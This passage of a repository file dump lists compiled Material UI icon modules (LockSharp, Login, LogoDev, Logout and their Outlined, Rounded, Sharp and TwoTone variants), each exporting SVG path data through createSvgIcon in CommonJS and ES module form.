    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h16zm-8 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'LockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h16zm-8 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'LockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'LockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'LockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Login.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'Login');"
  },
  {
    "path": "packages/mui-icons-material/lib/Login.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'Login');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'LoginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'LoginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.3 7.7c-.39.39-.39 1.01 0 1.4l1.9 1.9H3c-.55 0-1 .45-1 1s.45 1 1 1h9.2l-1.9 1.9c-.39.39-.39 1.01 0 1.4s1.01.39 1.4 0l3.59-3.59c.39-.39.39-1.02 0-1.41L11.7 7.7a.984.984 0 0 0-1.4 0M20 19h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-7c-.55 0-1 .45-1 1s.45 1 1 1h7z\"\n}), 'LoginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.3 7.7c-.39.39-.39 1.01 0 1.4l1.9 1.9H3c-.55 0-1 .45-1 1s.45 1 1 1h9.2l-1.9 1.9c-.39.39-.39 1.01 0 1.4s1.01.39 1.4 0l3.59-3.59c.39-.39.39-1.02 0-1.41L11.7 7.7a.984.984 0 0 0-1.4 0M20 19h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-7c-.55 0-1 .45-1 1s.45 1 1 1h7z\"\n}), 'LoginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h10V3H12v2h8z\"\n}), 'LoginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h10V3H12v2h8z\"\n}), 'LoginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'LoginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoginTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7 9.6 8.4l2.6 2.6H2v2h10.2l-2.6 2.6L11 17l5-5zm9 12h-8v2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-8v2h8z\"\n}), 'LoginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDev.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDev');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDev.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDev');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoDevTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71m4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47q-.21-.15-.42-.15\"\n}, \"1\")], 'LogoDevTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Logout.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 7-1.41 1.41L18.17 11H8v2h10.17l-2.58 2.58L17 17l5-5zM4 5h8V3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8v-2H4z\"\n}), 'Logout');"
  },
  {
    "path": "packages/mui-icons-material/lib/Logout.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 7-1.41 1.41L18.17 11H8v2h10.17l-2.58 2.58L17 17l5-5zM4 5h8V3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8v-2H4z\"\n}), 'Logout');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 8-1.41 1.41L17.17 11H9v2h8.17l-1.58 1.58L17 16l4-4zM5 5h7V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5z\"\n}), 'LogoutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 8-1.41 1.41L17.17 11H9v2h8.17l-1.58 1.58L17 16l4-4zM5 5h7V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5z\"\n}), 'LogoutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h6c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6c.55 0 1-.45 1-1s-.45-1-1-1H5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11h-7c-.55 0-1 .45-1 1s.45 1 1 1h7v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}, \"1\")], 'LogoutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h6c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6c.55 0 1-.45 1-1s-.45-1-1-1H5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11h-7c-.55 0-1 .45-1 1s.45 1 1 1h7v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}, \"1\")], 'LogoutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h7V3H3v18h9v-2H5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-4-4v3H9v2h8v3z\"\n}, \"1\")], 'LogoutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h7V3H3v18h9v-2H5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-4-4v3H9v2h8v3z\"\n}, \"1\")], 'LogoutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutTwoTone.js",
